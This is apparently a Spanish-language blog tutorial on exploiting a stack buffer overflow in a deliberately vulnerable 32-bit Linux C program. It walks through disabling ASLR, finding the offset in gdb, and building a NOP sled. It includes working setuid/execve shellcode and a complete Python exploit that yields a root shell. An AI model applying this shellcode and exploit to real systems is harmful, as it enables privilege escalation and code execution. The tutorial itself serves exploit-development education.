Stack-Buffer Overflow [Linux 32 Bit] (Part I)
El desbordamiento del búfer o Buffer Overflow en Inglés, sucede cuando el programador no hace la suficiente desinfección en el código de un programa. Esto permite sobrepasar el búfer definido y por ello apuntar a ciertos registros para inyectar shellcode
y derivar a una ejecución de código arbitrario en el sistema.
En este artículo aprovecharemos la función strcpy
considerada como insegura para sobrepasar un búfer definido y de este modo sobrescribir los registros ESP, EIP para ganar RCE. No tendremos ningún tipo de restricción como ASLR (aleatorización en las direcciones de memoria) o DEP (prevención de ejecución de datos).
Para desactivar ASLR es muy facil, enviamos un 0 como input a /proc/sys/kernel/randomize_va_space
y listo.
echo 0 > /proc/sys/kernel/randomize_va_space
Para comenzar necesitamos un binario vulnerable a BoF, por eso he encontrado este script basico en C que hace uso de strcpy
.
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
copier(argv[1]);
printf("Done!\n");
}
int copier(char *str) {
char buffer[100];
strcpy(buffer, str);
}
Este script no tiene ninguna utilidad, lo que hace básicamente es copiar el primer argumento que le pasemos como input y guardarlo en un búfer e imprimir Done por pantalla, la vulnerabilidad está en el uso de strcpy
.
Para la compilación este debe ser en 32 bits, por ello será necesario usar el parámetro -m32
de gcc
, de lo contrario os lo creará en 64 bits.
Los parámetros utilizados en la compilación son para desactivar algunas restricciones.
Esto nos genera un binario ejecutable, entonces probamos a pasarle una A para verificar que funcione.
Bien, funciona, ahora vamos a usar gdb
para monitorear el uso del programa a bajo nivel, le pasamos el parámetro -q
para la lectura de símbolos y ejecutamos el comando list
para ver el código.
Haremos un breakpoint
en la línea 10, ya que la vulnerabilidad no sucede en la función main
, usamos el comando break 10
.
Le pasamos 4 bytes como argumento al programa con el comando run
.
Una vez hecho, usamos el comando info registers
para ver los registros.
Listamos el registro ESP
con x/40x $esp
.
Como se puede apreciar se ha sobrescrito una direccion de memoria con las 4 As en ANSI.
Ahora bien, ¿que sucede si le pasamos al programa mas 100 As?, vamos a comprobarlo.
Se ha producido un desbordamiento del búfer y el binario ha crasheado.
Me he creado un pequeño script en Python que imprima por pantalla mas de 100 As y lo he exportando como BoF.
#!/usr/bin/python3
print("A"*116)
Le pasamos las As y miramos el registro ESP.
Como veis están todas las A que le hemos pasado al binario, esto ha sobrescrito hasta la dirección de retorno, vamos a modificar el retturn address
con hexedit
, ejecutamos hexedit
+ nombre del binario.
Y cambiamos los últimos valores.
Ahora volvemos a ver el registro ESP.
La dirección de retorno ha cambiado, pero está en little endian
, es decir al revés.
Ahora vamos a calcular el offset
, es decir las A que tenemos que introducir antes de que el programa corrompa. Para ello hay una herramienta llamada pattern_create
la cual te crea una cadena especial para luego computar el offset
con pattern_offset
.
Le pasé los bytes en los que corrompe el programa.
Una vez la cadena creada se la pasamos al programa como argumento.
La dirección que reporta la copiamos y la pegamos en pattern_offset
.
Ahí esta, el offset
son 112 bytes. Ahora haremos uso de NOPS para rellenar los bytes faltantes antes del shellcode
y llevar el flujo del programa sin problemas.
Necesitamos un shellcode
para ganar acceso con un Shell, para ello usé el siguiente de 32 bytes.
\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
Y me he creado un pequeño exploit en Python2 con el siguiente código.
#!/usr/bin/python2
nops = '\x90' * 64
shellcode = (
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 32)
eip = "\xb0\xd3\xff\xff"
print nops + shellcode + padding + eip
Lo que hace es generar 64 bytes de NOPS x90
y guardarlos en la variable NOPS, después defino otra variable shellcode
con el shellcode
, valga la redundancia, y en la variable padding
hago los cálculos restando los 112 bytes del offset
, menos los 64 de los NOPS y los 32 del shellcode
y creo la cadena de A’s del número restante. En la dirección EIP introducimos una del trineo de NOPS en little endian
para evitar errores, ya que esta estará apuntando a la direccion de memoria de la instrucción a ejecutar. Y finalmente quedaría algo así.
\x90\x90.. → \x31\xc0\x89.. → AAAA.. → \xb0\xd3\xff\xff
Si miramos el resultado en hexadecimal con hexedit
veremos algo así.
Exporto el exploit como exp
.
Y le hacemos un cat
al archivo exportado.
Y hemos ganado un Shell como root
en el sistema.
Leave a comment